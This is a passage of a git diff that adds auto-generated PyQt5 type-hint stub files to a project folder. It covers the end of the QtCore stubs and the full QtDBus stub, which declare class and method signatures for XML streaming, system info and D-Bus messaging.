None: ... + def namespaceDeclarations(self) -> typing.List[QXmlStreamNamespaceDeclaration]: ... + def text(self) -> str: ... + def processingInstructionData(self) -> str: ... + def processingInstructionTarget(self) -> str: ... + def prefix(self) -> str: ... + def qualifiedName(self) -> str: ... + def namespaceUri(self) -> str: ... + def name(self) -> str: ... + def readElementText(self, behaviour: 'QXmlStreamReader.ReadElementTextBehaviour' = ...) -> str: ... + def attributes(self) -> QXmlStreamAttributes: ... + def characterOffset(self) -> int: ... + def columnNumber(self) -> int: ... + def lineNumber(self) -> int: ... + def documentEncoding(self) -> str: ... + def documentVersion(self) -> str: ... + def isStandaloneDocument(self) -> bool: ... + def isProcessingInstruction(self) -> bool: ... + def isEntityReference(self) -> bool: ... + def isDTD(self) -> bool: ... + def isComment(self) -> bool: ... + def isCDATA(self) -> bool: ... + def isWhitespace(self) -> bool: ... + def isCharacters(self) -> bool: ... + def isEndElement(self) -> bool: ... + def isStartElement(self) -> bool: ... + def isEndDocument(self) -> bool: ... + def isStartDocument(self) -> bool: ... + def namespaceProcessing(self) -> bool: ... + def setNamespaceProcessing(self, a0: bool) -> None: ... + def tokenString(self) -> str: ... + def tokenType(self) -> 'QXmlStreamReader.TokenType': ... + def readNext(self) -> 'QXmlStreamReader.TokenType': ... + def atEnd(self) -> bool: ... + def clear(self) -> None: ... + @typing.overload + def addData(self, data: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + @typing.overload + def addData(self, data: str) -> None: ... + def device(self) -> QIODevice: ... + def setDevice(self, device: QIODevice) -> None: ... + + +class QXmlStreamWriter(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, device: QIODevice) -> None: ... + @typing.overload + def __init__(self, array: typing.Union[QByteArray, bytes, bytearray]) -> None: ... + + def hasError(self) -> bool: ... + def writeCurrentToken(self, reader: QXmlStreamReader) -> None: ... + @typing.overload + def writeStartElement(self, qualifiedName: str) -> None: ... + @typing.overload + def writeStartElement(self, namespaceUri: str, name: str) -> None: ... + @typing.overload + def writeStartDocument(self) -> None: ... + @typing.overload + def writeStartDocument(self, version: str) -> None: ... + @typing.overload + def writeStartDocument(self, version: str, standalone: bool) -> None: ... + def writeProcessingInstruction(self, target: str, data: str = ...) -> None: ... + def writeDefaultNamespace(self, namespaceUri: str) -> None: ... + def writeNamespace(self, namespaceUri: str, prefix: str = ...) -> None: ... + def writeEntityReference(self, name: str) -> None: ... + def writeEndElement(self) -> None: ... + def writeEndDocument(self) -> None: ... + @typing.overload + def writeTextElement(self, qualifiedName: str, text: str) -> None: ... + @typing.overload + def writeTextElement(self, namespaceUri: str, name: str, text: str) -> None: ... + @typing.overload + def writeEmptyElement(self, qualifiedName: str) -> None: ... + @typing.overload + def writeEmptyElement(self, namespaceUri: str, name: str) -> None: ... + def writeDTD(self, dtd: str) -> None: ... + def writeComment(self, text: str) -> None: ... + def writeCharacters(self, text: str) -> None: ... + def writeCDATA(self, text: str) -> None: ... + def writeAttributes(self, attributes: QXmlStreamAttributes) -> None: ... + @typing.overload + def writeAttribute(self, qualifiedName: str, value: str) -> None: ... + @typing.overload + def writeAttribute(self, namespaceUri: str, name: str, value: str) -> None: ... + @typing.overload + def writeAttribute(self, attribute: QXmlStreamAttribute) -> None: ... + def autoFormattingIndent(self) -> int: ... + def setAutoFormattingIndent(self, spaces: int) -> None: ... + def autoFormatting(self) -> bool: ... + def setAutoFormatting(self, a0: bool) -> None: ... + def codec(self) -> QTextCodec: ... + @typing.overload + def setCodec(self, codec: QTextCodec) -> None: ... + @typing.overload + def setCodec(self, codecName: str) -> None: ... + def device(self) -> QIODevice: ... + def setDevice(self, device: QIODevice) -> None: ... + + +class QSysInfo(sip.simplewrapper): + + class WinVersion(int): + WV_32s = ... # type: QSysInfo.WinVersion + WV_95 = ... # type: QSysInfo.WinVersion + WV_98 = ... # type: QSysInfo.WinVersion + WV_Me = ... # type: QSysInfo.WinVersion + WV_DOS_based = ... # type: QSysInfo.WinVersion + WV_NT = ... # type: QSysInfo.WinVersion + WV_2000 = ... # type: QSysInfo.WinVersion + WV_XP = ... # type: QSysInfo.WinVersion + WV_2003 = ... # type: QSysInfo.WinVersion + WV_VISTA = ... # type: QSysInfo.WinVersion + WV_WINDOWS7 = ... # type: QSysInfo.WinVersion + WV_WINDOWS8 = ... # type: QSysInfo.WinVersion + WV_WINDOWS8_1 = ... # type: QSysInfo.WinVersion + WV_WINDOWS10 = ... # type: QSysInfo.WinVersion + WV_NT_based = ... # type: QSysInfo.WinVersion + WV_4_0 = ... # type: QSysInfo.WinVersion + WV_5_0 = ... # type: QSysInfo.WinVersion + WV_5_1 = ... # type: QSysInfo.WinVersion + WV_5_2 = ... # type: QSysInfo.WinVersion + WV_6_0 = ... # type: QSysInfo.WinVersion + WV_6_1 = ... # type: QSysInfo.WinVersion + WV_6_2 = ... # type: QSysInfo.WinVersion + WV_6_3 = ... # type: QSysInfo.WinVersion + WV_10_0 = ... # type: QSysInfo.WinVersion + WV_CE = ... # type: QSysInfo.WinVersion + WV_CENET = ... # type: QSysInfo.WinVersion + WV_CE_5 = ... # type: QSysInfo.WinVersion + WV_CE_6 = ... # type: QSysInfo.WinVersion + WV_CE_based = ... # type: QSysInfo.WinVersion + + class Endian(int): + BigEndian = ... # type: QSysInfo.Endian + LittleEndian = ... # type: QSysInfo.Endian + ByteOrder = ... # type: QSysInfo.Endian + + class Sizes(int): + WordSize = ... # type: QSysInfo.Sizes + + WindowsVersion = ... # type: 'QSysInfo.WinVersion' + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QSysInfo') -> None: ... + + @staticmethod + def machineHostName() -> str: ... + @staticmethod + def productVersion() -> str: ... + @staticmethod + def productType() -> str: ... + @staticmethod + def prettyProductName() -> str: ... + @staticmethod + def kernelVersion() -> str: ... + @staticmethod + def kernelType() -> str: ... + @staticmethod + def currentCpuArchitecture() -> str: ... + @staticmethod + def buildCpuArchitecture() -> str: ... + @staticmethod + def buildAbi() -> str: ... + @staticmethod + def windowsVersion() -> 'QSysInfo.WinVersion': ... + + +class QWinEventNotifier(QObject): + + @typing.overload + def __init__(self, parent: typing.Optional[QObject] = ...) -> None: ... + @typing.overload + def __init__(self, hEvent: PyQt5.sip.voidptr, parent: typing.Optional[QObject] = ...) -> None: ... + + def event(self, e: QEvent) -> bool: ... + def activated(self, hEvent: PyQt5.sip.voidptr) -> None: ... + def setEnabled(self, enable: bool) -> None: ... + def setHandle(self, hEvent: PyQt5.sip.voidptr) -> None: ... + def isEnabled(self) -> bool: ... + def handle(self) -> PyQt5.sip.voidptr: ... + + +PYQT_VERSION = ... # type: int +PYQT_VERSION_STR = ... # type: str +QT_VERSION = ... # type: int +QT_VERSION_STR = ... # type: str + + +def qSetRealNumberPrecision(precision: int) -> QTextStreamManipulator: ... +def qSetPadChar(ch: str) -> QTextStreamManipulator: ... +def qSetFieldWidth(width: int) -> QTextStreamManipulator: ... +def ws(s: QTextStream) -> QTextStream: ... +def bom(s: QTextStream) -> QTextStream: ... +def reset(s: QTextStream) -> QTextStream: ... +def flush(s: QTextStream) -> QTextStream: ... +def endl(s: QTextStream) -> QTextStream: ... +def center(s: QTextStream) -> QTextStream: ... +def right(s: QTextStream) -> QTextStream: ... +def left(s: QTextStream) -> QTextStream: ... +def scientific(s: QTextStream) -> QTextStream: ... +def fixed(s: QTextStream) -> QTextStream: ... +def lowercasedigits(s: QTextStream) -> QTextStream: ... +def lowercasebase(s: QTextStream) -> QTextStream: ... +def uppercasedigits(s: QTextStream) -> QTextStream: ... +def uppercasebase(s: QTextStream) -> QTextStream: ... +def noforcepoint(s: QTextStream) -> QTextStream: ... +def noforcesign(s: QTextStream) -> QTextStream: ... +def noshowbase(s: QTextStream) -> QTextStream: ... +def forcepoint(s: QTextStream) -> QTextStream: ... +def forcesign(s: QTextStream) -> QTextStream: ... +def showbase(s: QTextStream) -> QTextStream: ... +def hex_(s: QTextStream) -> QTextStream: ... +def dec(s: QTextStream) -> QTextStream: ... +def oct_(s: QTextStream) -> QTextStream: ... +def bin_(s: QTextStream) -> QTextStream: ... +def Q_RETURN_ARG(type: typing.Any) -> QGenericReturnArgument: ... +def Q_ARG(type: typing.Any, data: typing.Any) -> QGenericArgument: ... +def pyqtSlot(*types, name: typing.Optional[str] = ..., result: typing.Optional[str] = ...) -> typing.Callable[..., typing.Optional[str]]: ... +def QT_TRANSLATE_NOOP(a0: str, a1: str) -> str: ... +def QT_TR_NOOP_UTF8(a0: str) -> str: ... +def QT_TR_NOOP(a0: str) -> str: ... +def Q_FLAGS(*a0) -> None: ... +def Q_FLAG(a0: typing.Union[type, enum.Enum]) -> None: ... +def Q_ENUMS(*a0) -> None: ... +def Q_ENUM(a0: typing.Union[type, enum.Enum]) -> None: ... +def Q_CLASSINFO(name: str, value: str) -> None: ... +def qFloatDistance(a: float, b: float) -> int: ... +def qQNaN() -> float: ... +def qSNaN() -> float: ... +def qInf() -> float: ... +def qIsNaN(d: float) -> bool: ... +def qIsFinite(d: float) -> bool: ... +def qIsInf(d: float) -> bool: ... +def qFormatLogMessage(type: QtMsgType, context: QMessageLogContext, buf: str) -> str: ... +def qSetMessagePattern(messagePattern: str) -> None: ... +def qInstallMessageHandler(a0: typing.Optional[typing.Callable[[QtMsgType, QMessageLogContext, str], None]]) -> typing.Optional[typing.Callable[[QtMsgType, QMessageLogContext, str], None]]: ... +def qWarning(msg: str) -> None: ... +def qInfo(msg: str) -> None: ... +def qFatal(msg: str) -> None: ... +@typing.overload +def qErrnoWarning(code: int, msg: str) -> None: ... +@typing.overload +def qErrnoWarning(msg: str) -> None: ... +def qDebug(msg: str) -> None: ... +def qCritical(msg: str) -> None: ... +def pyqtRestoreInputHook() -> None: ... +def pyqtRemoveInputHook() -> None: ... +def qAddPreRoutine(routine: typing.Callable[[], None]) -> None: ... +def qRemovePostRoutine(a0: typing.Callable[..., None]) -> None: ... +def qAddPostRoutine(a0: typing.Callable[..., None]) -> None: ... +@typing.overload +def qChecksum(s: bytes) -> int: ... +@typing.overload +def qChecksum(s: bytes, standard: Qt.ChecksumType) -> int: ... +def qUncompress(data: typing.Union[QByteArray, bytes, bytearray]) -> QByteArray: ... +def qCompress(data: typing.Union[QByteArray, bytes, bytearray], compressionLevel: int = ...) -> QByteArray: ... +@typing.overload +def qEnvironmentVariable(varName: str) -> str: ... +@typing.overload +def qEnvironmentVariable(varName: str, defaultValue: str) -> str: ... +def pyqtPickleProtocol() -> typing.Optional[int]: ... +def pyqtSetPickleProtocol(a0: typing.Optional[int]) -> None: ... +def qrand() -> int: ... +def qsrand(seed: int) -> None: ... +def qIsNull(d: float) -> bool: ... +def qFuzzyCompare(p1: float, p2: float) -> bool: ... +def qUnregisterResourceData(a0: int, a1: bytes, a2: bytes, a3: bytes) -> bool: ... +def qRegisterResourceData(a0: int, a1: bytes, a2: bytes, a3: bytes) -> bool: ... +def qSharedBuild() -> bool: ... +def qVersion() -> str: ... +def qRound64(d: float) -> int: ... +def qRound(d: float) -> int: ... +def qAbs(t: float) -> float: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtDBus.pyi b/OTHERS/Jarvis/ools/PyQt5/QtDBus.pyi new file mode 100644 index 00000000..3eb0248e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtDBus.pyi @@ -0,0 +1,519 @@ +# The PEP 484 type hints stub file for the QtDBus module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + + +class QDBusAbstractAdaptor(QtCore.QObject): + + def __init__(self, parent: QtCore.QObject) -> None: ... + + def autoRelaySignals(self) -> bool: ... + def setAutoRelaySignals(self, enable: bool) -> None: ... + + +class QDBusAbstractInterface(QtCore.QObject): + + def __init__(self, service: str, path: str, interface: str, connection: 'QDBusConnection', parent: QtCore.QObject) -> None: ... + + def disconnectNotify(self, signal: QtCore.QMetaMethod) -> None: ... + def connectNotify(self, signal: QtCore.QMetaMethod) -> None: ... + def asyncCallWithArgumentList(self, method: str, args: typing.Iterable[typing.Any]) -> 'QDBusPendingCall': ... + def asyncCall(self, method: str, arg1: typing.Any = ..., arg2: typing.Any = ..., arg3: typing.Any = ..., arg4: typing.Any = ..., arg5: typing.Any = ..., arg6: typing.Any = ..., arg7: typing.Any = ..., arg8: typing.Any = ...) -> 'QDBusPendingCall': ... + @typing.overload + def callWithCallback(self, method: str, args: typing.Iterable[typing.Any], returnMethod: PYQT_SLOT, errorMethod: PYQT_SLOT) -> bool: ... + @typing.overload + def callWithCallback(self, method: str, args: typing.Iterable[typing.Any], slot: PYQT_SLOT) -> bool: ... + def callWithArgumentList(self, mode: 'QDBus.CallMode', method: str, args: typing.Iterable[typing.Any]) -> 'QDBusMessage': ... + @typing.overload + def call(self, method: str, arg1: typing.Any = ..., arg2: typing.Any = ..., arg3: typing.Any = ..., arg4: typing.Any = ..., arg5: typing.Any = ..., arg6: typing.Any = ..., arg7: typing.Any = ..., arg8: typing.Any = ...) -> 'QDBusMessage': ... + @typing.overload + def call(self, mode: 'QDBus.CallMode', method: str, arg1: typing.Any = ..., arg2: typing.Any = ..., arg3: typing.Any = ..., arg4: typing.Any = ..., arg5: typing.Any = ..., arg6: typing.Any = ..., arg7: typing.Any = ..., arg8: typing.Any = ...) -> 'QDBusMessage': ... + def timeout(self) -> int: ... + def setTimeout(self, timeout: int) -> None: ... + def lastError(self) -> 'QDBusError': ... + def interface(self) -> str: ... + def path(self) -> str: ... + def service(self) -> str: ... + def connection(self) -> 'QDBusConnection': ... + def isValid(self) -> bool: ... + + +class QDBusArgument(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QDBusArgument') -> None: ... + @typing.overload + def __init__(self, arg: typing.Any, id: int = ...) -> None: ... + + def swap(self, other: 'QDBusArgument') -> None: ... + def endMapEntry(self) -> None: ... + def beginMapEntry(self) -> None: ... + def endMap(self) -> None: ... + def beginMap(self, kid: int, vid: int) -> None: ... + def endArray(self) -> None: ... + def beginArray(self, id: int) -> None: ... + def endStructure(self) -> None: ... + def beginStructure(self) -> None: ... + def add(self, arg: typing.Any, id: int = ...) -> None: ... + + +class QDBus(PyQt5.sip.simplewrapper): + + class CallMode(int): + NoBlock = ... # type: QDBus.CallMode + Block = ... # type: QDBus.CallMode + BlockWithGui = ... # type: QDBus.CallMode + AutoDetect = ... # type: QDBus.CallMode + + +class QDBusConnection(sip.simplewrapper): + + class ConnectionCapability(int): + UnixFileDescriptorPassing = ... # type: QDBusConnection.ConnectionCapability + + class UnregisterMode(int): + UnregisterNode = ... # type: QDBusConnection.UnregisterMode + UnregisterTree = ... # type: QDBusConnection.UnregisterMode + + class RegisterOption(int): + ExportAdaptors = ... # type: QDBusConnection.RegisterOption + ExportScriptableSlots = ... # type: QDBusConnection.RegisterOption + ExportScriptableSignals = ... # type: QDBusConnection.RegisterOption + ExportScriptableProperties = ... # type: QDBusConnection.RegisterOption + ExportScriptableInvokables = ... # type: QDBusConnection.RegisterOption + ExportScriptableContents = ... # type: QDBusConnection.RegisterOption + ExportNonScriptableSlots = ... # type: QDBusConnection.RegisterOption + ExportNonScriptableSignals = ... # type: QDBusConnection.RegisterOption + ExportNonScriptableProperties = ... # type: QDBusConnection.RegisterOption + ExportNonScriptableInvokables = ... # type: QDBusConnection.RegisterOption + ExportNonScriptableContents = ... # type: QDBusConnection.RegisterOption + ExportAllSlots = ... # type: QDBusConnection.RegisterOption + ExportAllSignals = ... # type: QDBusConnection.RegisterOption + ExportAllProperties = ... # type: QDBusConnection.RegisterOption + ExportAllInvokables = ... # type: QDBusConnection.RegisterOption + ExportAllContents = ... # type: QDBusConnection.RegisterOption + ExportAllSignal = ... # type: QDBusConnection.RegisterOption + ExportChildObjects = ... # type: QDBusConnection.RegisterOption + + class BusType(int): + SessionBus = ... # type: QDBusConnection.BusType + SystemBus = ... # type: QDBusConnection.BusType + ActivationBus = ... # type: QDBusConnection.BusType + + class RegisterOptions(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QDBusConnection.RegisterOptions', 'QDBusConnection.RegisterOption']) -> None: ... + @typing.overload + def __init__(self, a0: 'QDBusConnection.RegisterOptions') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QDBusConnection.RegisterOptions': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class ConnectionCapabilities(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QDBusConnection.ConnectionCapabilities', 'QDBusConnection.ConnectionCapability']) -> None: ... + @typing.overload + def __init__(self, a0: 'QDBusConnection.ConnectionCapabilities') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QDBusConnection.ConnectionCapabilities': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, name: str) -> None: ... + @typing.overload + def __init__(self, other: 'QDBusConnection') -> None: ... + + def swap(self, other: 'QDBusConnection') -> None: ... + @staticmethod + def sender() -> 'QDBusConnection': ... + @staticmethod + def systemBus() -> 'QDBusConnection': ... + @staticmethod + def sessionBus() -> 'QDBusConnection': ... + @staticmethod + def localMachineId() -> QtCore.QByteArray: ... + @staticmethod + def disconnectFromPeer(name: str) -> None: ... + @staticmethod + def disconnectFromBus(name: str) -> None: ... + @staticmethod + def connectToPeer(address: str, name: str) -> 'QDBusConnection': ... + @typing.overload + @staticmethod + def connectToBus(type: 'QDBusConnection.BusType', name: str) -> 'QDBusConnection': ... + @typing.overload + @staticmethod + def connectToBus(address: str, name: str) -> 'QDBusConnection': ... + def interface(self) -> 'QDBusConnectionInterface': ... + def unregisterService(self, serviceName: str) -> bool: ... + def registerService(self, serviceName: str) -> bool: ... + def objectRegisteredAt(self, path: str) -> QtCore.QObject: ... + def unregisterObject(self, path: str, mode: 'QDBusConnection.UnregisterMode' = ...) -> None: ... + @typing.overload + def registerObject(self, path: str, object: QtCore.QObject, options: typing.Union['QDBusConnection.RegisterOptions', 'QDBusConnection.RegisterOption'] = ...) -> bool: ... + @typing.overload + def registerObject(self, path: str, interface: str, object: QtCore.QObject, options: typing.Union['QDBusConnection.RegisterOptions', 'QDBusConnection.RegisterOption'] = ...) -> bool: ... + @typing.overload + def disconnect(self, service: str, path: str, interface: str, name: str, slot: PYQT_SLOT) -> bool: ... + @typing.overload + def disconnect(self, service: str, path: str, interface: str, name: str, signature: str, slot: PYQT_SLOT) -> bool: ... + @typing.overload + def disconnect(self, service: str, path: str, interface: str, name: str, argumentMatch: typing.Iterable[str], signature: str, slot: PYQT_SLOT) -> bool: ... + @typing.overload + def connect(self, service: str, path: str, interface: str, name: str, slot: PYQT_SLOT) -> bool: ... + @typing.overload + def connect(self, service: str, path: str, interface: str, name: str, signature: str, slot: PYQT_SLOT) -> bool: ... + @typing.overload + def connect(self, service: str, path: str, interface: str, name: str, argumentMatch: typing.Iterable[str], signature: str, slot: PYQT_SLOT) -> bool: ... + def asyncCall(self, message: 'QDBusMessage', timeout: int = ...) -> 'QDBusPendingCall': ... + def call(self, message: 'QDBusMessage', mode: QDBus.CallMode = ..., timeout: int = ...) -> 'QDBusMessage': ... + def callWithCallback(self, message: 'QDBusMessage', returnMethod: PYQT_SLOT, errorMethod: PYQT_SLOT, timeout: int = ...) -> bool: ... + def send(self, message: 'QDBusMessage') -> bool: ... + def connectionCapabilities(self) -> 'QDBusConnection.ConnectionCapabilities': ... + def name(self) -> str: ... + def lastError(self) -> 'QDBusError': ... + def baseService(self) -> str: ... + def isConnected(self) -> bool: ... + + +class QDBusConnectionInterface(QDBusAbstractInterface): + + class RegisterServiceReply(int): + ServiceNotRegistered = ... # type: QDBusConnectionInterface.RegisterServiceReply + ServiceRegistered = ... # type: QDBusConnectionInterface.RegisterServiceReply + ServiceQueued = ... # type: QDBusConnectionInterface.RegisterServiceReply + + class ServiceReplacementOptions(int): + DontAllowReplacement = ... # type: QDBusConnectionInterface.ServiceReplacementOptions + AllowReplacement = ... # type: QDBusConnectionInterface.ServiceReplacementOptions + + class ServiceQueueOptions(int): + DontQueueService = ... # type: QDBusConnectionInterface.ServiceQueueOptions + QueueService = ... # type: QDBusConnectionInterface.ServiceQueueOptions + ReplaceExistingService = ... # type: QDBusConnectionInterface.ServiceQueueOptions + + def disconnectNotify(self, a0: QtCore.QMetaMethod) -> None: ... + def connectNotify(self, a0: QtCore.QMetaMethod) -> None: ... + def callWithCallbackFailed(self, error: 'QDBusError', call: 'QDBusMessage') -> None: ... + def serviceOwnerChanged(self, name: str, oldOwner: str, newOwner: str) -> None: ... + def serviceUnregistered(self, service: str) -> None: ... + def serviceRegistered(self, service: str) -> None: ... + def startService(self, name: str) -> QDBusReply: ... + def serviceUid(self, serviceName: str) -> QDBusReply: ... + def servicePid(self, serviceName: str) -> QDBusReply: ... + def registerService(self, serviceName: str, qoption: 'QDBusConnectionInterface.ServiceQueueOptions' = ..., roption: 'QDBusConnectionInterface.ServiceReplacementOptions' = ...) -> QDBusReply: ... + def unregisterService(self, serviceName: str) -> QDBusReply: ... + def serviceOwner(self, name: str) -> QDBusReply: ... + def isServiceRegistered(self, serviceName: str) -> QDBusReply: ... + def activatableServiceNames(self) -> QDBusReply: ... + def registeredServiceNames(self) -> QDBusReply: ... + + +class QDBusError(sip.simplewrapper): + + class ErrorType(int): + NoError = ... # type: QDBusError.ErrorType + Other = ... # type: QDBusError.ErrorType + Failed = ... # type: QDBusError.ErrorType + NoMemory = ... # type: QDBusError.ErrorType + ServiceUnknown = ... # type: QDBusError.ErrorType + NoReply = ... # type: QDBusError.ErrorType + BadAddress = ... # type: QDBusError.ErrorType + NotSupported = ... # type: QDBusError.ErrorType + LimitsExceeded = ... # type: QDBusError.ErrorType + AccessDenied = ... # type: QDBusError.ErrorType + NoServer = ... # type: QDBusError.ErrorType + Timeout = ... # type: QDBusError.ErrorType + NoNetwork = ... # type: QDBusError.ErrorType + AddressInUse = ... # type: QDBusError.ErrorType + Disconnected = ... # type: QDBusError.ErrorType + InvalidArgs = ... # type: QDBusError.ErrorType + UnknownMethod = ... # type: QDBusError.ErrorType + TimedOut = ... # type: QDBusError.ErrorType + InvalidSignature = ... # type: QDBusError.ErrorType + UnknownInterface = ... # type: QDBusError.ErrorType + InternalError = ... # type: QDBusError.ErrorType + UnknownObject = ... # type: QDBusError.ErrorType + InvalidService = ... # type: QDBusError.ErrorType + InvalidObjectPath = ... # type: QDBusError.ErrorType + InvalidInterface = ... # type: QDBusError.ErrorType + InvalidMember = ... # type: QDBusError.ErrorType + UnknownProperty = ... # type: QDBusError.ErrorType + PropertyReadOnly = ... # type: QDBusError.ErrorType + + def __init__(self, other: 'QDBusError') -> None: ... + + def swap(self, other: 'QDBusError') -> None: ... + @staticmethod + def errorString(error: 'QDBusError.ErrorType') -> str: ... + def isValid(self) -> bool: ... + def message(self) -> str: ... + def name(self) -> str: ... + def type(self) -> 'QDBusError.ErrorType': ... + + +class QDBusObjectPath(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, objectPath: str) -> None: ... + @typing.overload + def __init__(self, a0: 'QDBusObjectPath') -> None: ... + + def swap(self, other: 'QDBusObjectPath') -> None: ... + def __hash__(self) -> int: ... + def setPath(self, objectPath: str) -> None: ... + def path(self) -> str: ... + + +class QDBusSignature(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, dBusSignature: str) -> None: ... + @typing.overload + def __init__(self, a0: 'QDBusSignature') -> None: ... + + def swap(self, other: 'QDBusSignature') -> None: ... + def __hash__(self) -> int: ... + def setSignature(self, dBusSignature: str) -> None: ... + def signature(self) -> str: ... + + +class QDBusVariant(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, dBusVariant: typing.Any) -> None: ... + @typing.overload + def __init__(self, a0: 'QDBusVariant') -> None: ... + + def swap(self, other: 'QDBusVariant') -> None: ... + def setVariant(self, dBusVariant: typing.Any) -> None: ... + def variant(self) -> typing.Any: ... + + +class QDBusInterface(QDBusAbstractInterface): + + def __init__(self, service: str, path: str, interface: str = ..., connection: QDBusConnection = ..., parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + +class QDBusMessage(sip.simplewrapper): + + class MessageType(int): + InvalidMessage = ... # type: QDBusMessage.MessageType + MethodCallMessage = ... # type: QDBusMessage.MessageType + ReplyMessage = ... # type: QDBusMessage.MessageType + ErrorMessage = ... # type: QDBusMessage.MessageType + SignalMessage = ... # type: QDBusMessage.MessageType + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, other: 'QDBusMessage') -> None: ... + + def isInteractiveAuthorizationAllowed(self) -> bool: ... + def setInteractiveAuthorizationAllowed(self, enable: bool) -> None: ... + @staticmethod + def createTargetedSignal(service: str, path: str, interface: str, name: str) -> 'QDBusMessage': ... + def swap(self, other: 'QDBusMessage') -> None: ... + def arguments(self) -> typing.List[typing.Any]: ... + def setArguments(self, arguments: typing.Iterable[typing.Any]) -> None: ... + def autoStartService(self) -> bool: ... + def setAutoStartService(self, enable: bool) -> None: ... + def isDelayedReply(self) -> bool: ... + def setDelayedReply(self, enable: bool) -> None: ... + def isReplyRequired(self) -> bool: ... + def signature(self) -> str: ... + def type(self) -> 'QDBusMessage.MessageType': ... + def errorMessage(self) -> str: ... + def errorName(self) -> str: ... + def member(self) -> str: ... + def interface(self) -> str: ... + def path(self) -> str: ... + def service(self) -> str: ... + @typing.overload + def createErrorReply(self, name: str, msg: str) -> 'QDBusMessage': ... + @typing.overload + def createErrorReply(self, error: QDBusError) -> 'QDBusMessage': ... + @typing.overload + def createErrorReply(self, type: QDBusError.ErrorType, msg: str) -> 'QDBusMessage': ... + @typing.overload + def createReply(self, arguments: typing.Iterable[typing.Any] = ...) -> 'QDBusMessage': ... + @typing.overload + def createReply(self, argument: typing.Any) -> 'QDBusMessage': ... + @typing.overload + @staticmethod + def createError(name: str, msg: str) -> 'QDBusMessage': ... + @typing.overload + @staticmethod + def createError(error: QDBusError) -> 'QDBusMessage': ... + @typing.overload + @staticmethod + def createError(type: QDBusError.ErrorType, msg: str) -> 'QDBusMessage': ... + @staticmethod + def createMethodCall(service: str, path: str, interface: str, method: str) -> 'QDBusMessage': ... + @staticmethod + def createSignal(path: str, interface: str, name: str) -> 'QDBusMessage': ... + + +class QDBusPendingCall(sip.simplewrapper): + + def __init__(self, other: 'QDBusPendingCall') -> None: ... + + def swap(self, other: 'QDBusPendingCall') -> None: ... + @staticmethod + def fromCompletedCall(message: QDBusMessage) -> 'QDBusPendingCall': ... + @staticmethod + def fromError(error: QDBusError) -> 'QDBusPendingCall': ... + + +class QDBusPendingCallWatcher(QtCore.QObject, QDBusPendingCall): + + def __init__(self, call: QDBusPendingCall, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def finished(self, watcher: typing.Optional['QDBusPendingCallWatcher'] = ...) -> None: ... + def waitForFinished(self) -> None: ... + def isFinished(self) -> bool: ... + + +class QDBusServiceWatcher(QtCore.QObject): + + class WatchModeFlag(int): + WatchForRegistration = ... # type: QDBusServiceWatcher.WatchModeFlag + WatchForUnregistration = ... # type: QDBusServiceWatcher.WatchModeFlag + WatchForOwnerChange = ... # type: QDBusServiceWatcher.WatchModeFlag + + class WatchMode(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QDBusServiceWatcher.WatchMode', 'QDBusServiceWatcher.WatchModeFlag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QDBusServiceWatcher.WatchMode') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QDBusServiceWatcher.WatchMode': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, service: str, connection: QDBusConnection, watchMode: typing.Union['QDBusServiceWatcher.WatchMode', 'QDBusServiceWatcher.WatchModeFlag'] = ..., parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def serviceOwnerChanged(self, service: str, oldOwner: str, newOwner: str) -> None: ... + def serviceUnregistered(self, service: str) -> None: ... + def serviceRegistered(self, service: str) -> None: ... + def setConnection(self, connection: QDBusConnection) -> None: ... + def connection(self) -> QDBusConnection: ... + def setWatchMode(self, mode: typing.Union['QDBusServiceWatcher.WatchMode', 'QDBusServiceWatcher.WatchModeFlag']) -> None: ... + def watchMode(self) -> 'QDBusServiceWatcher.WatchMode': ... + def removeWatchedService(self, service: str) -> bool: ... + def addWatchedService(self, newService: str) -> None: ... + def setWatchedServices(self, services: typing.Iterable[str]) -> None: ... 